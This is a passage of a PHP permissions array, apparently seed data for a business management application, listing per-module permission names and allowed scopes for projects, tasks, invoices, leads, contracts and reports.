[ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_emergency_contact', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_award', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_appreciation', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_appreciation', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_appreciation', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_appreciation', ], [ 'allowed_permissions' => Permission::ALL_4_OWNED_2_NONE_5, 'is_custom' => 1, 'name' => 'add_immigration', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_immigration', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_immigration', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_immigration', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_increment_promotion', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_increment_promotion', ], ] ], [ 'module_name' => 'projects', 'description' => 'User can view the basic details of projects assigned to him even without any permission.', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_projects', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_projects', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_projects', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_projects', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_project_category', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_project_files', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_project_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_project_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_project_discussions', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_project_discussions', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'edit_project_discussions', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_project_discussions', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_discussion_category', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_NONE_5, 'is_custom' => 1, 'name' => 'view_project_milestones', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_project_milestones', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_NONE_5, 'is_custom' => 1, 'name' => 'edit_project_milestones', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_NONE_5, 'is_custom' => 1, 'name' => 'delete_project_milestones', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_members', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_project_members', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'edit_project_members', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'delete_project_members', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_project_rating', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_project_rating', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_project_rating', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_project_rating', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_budget', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_timelogs', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_expenses', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_tasks', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_invoices', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_burndown_chart', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_payments', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_gantt_chart', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_project_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_project_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_project_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_project_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'manage_project_template', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_template', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_hourly_rates', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'create_public_project', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_miroboard', ], ] ], [ 'module_name' => 'attendance', 'description' => 'User can view his own attendance even without any permission.', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_employee_shifts', ], [ 'allowed_permissions' => Permission::ALL_4_OWNED_2_NONE_5, 'is_custom' => 1, 'name' => 'view_shift_roster', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_attendance', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_attendance', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_attendance', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_attendance', ], ] ], [ 'module_name' => 'tasks', 'description' => 'User can view the tasks assigned to him even without any permission.', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'add_tasks', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_tasks', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_tasks', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_tasks', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_task_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_task_category', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'edit_task_category', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_task_category', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_task_files', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'add_task_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_task_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_sub_tasks', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'add_sub_tasks', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'edit_sub_tasks', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_sub_tasks', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_task_comments', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'add_task_comments', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_task_comments', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_task_comments', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_task_notes', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'add_task_notes', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_task_notes', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_task_notes', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'task_labels', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'change_status', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'send_reminder', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_status', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_unassigned_tasks', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'create_unassigned_tasks', ], ] ], [ 'module_name' => 'estimates', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_estimates', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_estimates', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_estimates', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_estimates', ], ] ], [ 'module_name' => 'invoices', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_invoices', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_invoices', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_invoices', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_invoices', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_tax', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'link_invoice_bank_account', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_recurring_invoice', ], ] ], [ 'module_name' => 'payments', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_payments', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_payments', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_payments', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_payments', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'link_payment_bank_account', ] ] ], [ 'module_name' => 'timelogs', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0, 'name' => 'add_timelogs', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_timelogs', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_timelogs', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_timelogs', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'approve_timelogs', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_active_timelogs', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_timelog_earnings', ], ] ], [ 'module_name' => 'tickets', 'description' => 'User can view the tickets generated by him as default even without any permission.', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0, 'name' => 'add_tickets', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_tickets', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_tickets', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_tickets', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_ticket_type', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'manage_ticket_agent', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_ticket_channel', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_ticket_tags', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_ticket_groups', ], ] ], [ 'module_name' => 'events', 'description' => 'User can view the events to be attended by him as default even without any permission.', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_events', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_events', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_events', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_events', ] ] ], [ 'module_name' => 'notices', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_notice', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_notice', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_notice', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_notice', ], ] ], [ 'module_name' => 'leaves', 'description' => 'User can view the leaves applied by him as default even without any permission.', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'add_leave', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_leave', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_leave', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_leave', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'approve_or_reject_leaves', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'delete_approve_leaves', ], ] ], [ 'module_name' => 'leads', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'add_lead', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_lead', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_lead', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_lead', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'display_name' => 'Manage Lead Custom Forms', 'is_custom' => 1, 'name' => 'manage_lead_custom_forms', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_lead_sources', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_lead_sources', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'edit_lead_sources', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_lead_sources', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_lead_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_lead_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_lead_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_lead_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_lead_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_lead_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'edit_lead_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'delete_lead_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_deals', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_deals', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_deals', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_deals', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_deal_stages', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'change_deal_stages', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_lead_agents', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_lead_agent', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_lead_agent', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_lead_agent', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_lead_files', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_lead_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_lead_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_lead_follow_up', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_lead_follow_up', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'edit_lead_follow_up', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_lead_follow_up', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_lead_proposals', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_lead_proposals', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'edit_lead_proposals', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_lead_proposals', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'manage_proposal_template', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'add_deal_pipeline', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_deal_pipeline', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_deal_pipeline', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_deal_pipeline', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'add_deal_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_deal_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_deal_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_deal_note', ], ] ], [ 'module_name' => 'holidays', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_holiday', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_holiday', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_holiday', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_holiday', ], ] ], [ 'module_name' => 'products', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_product', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'view_product', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'edit_product', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'delete_product', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_product_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_product_sub_category', ], ] ], [ 'module_name' => 'expenses', 'description' => 'User can view and add(self expenses) the expenses as default even without any permission.', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'add_expenses', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_expenses', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_expenses', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_expenses', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_expense_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_recurring_expense', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'approve_expenses', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'link_expense_bank_account', ] ] ], [ 'module_name' => 'contracts', 'description' => 'User can view all contracts', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_contract', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_contract', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_contract', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_contract', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_contract_type', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'renew_contract', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_contract_discussion', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'edit_contract_discussion', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_contract_discussion', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_contract_discussion', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_contract_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_contract_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'delete_contract_files', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'manage_contract_template', ], ] ], [ 'module_name' => 'reports', 'description' => 'User can manage permission of particular report', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_task_report', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_time_log_report', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_finance_report', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'display_name' => 'View Income Vs Expense Report', 'is_custom' => 1, 'name' => 'view_income_expense_report', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_leave_report', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_attendance_report', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_expense_report', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_lead_report', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_sales_report', ] 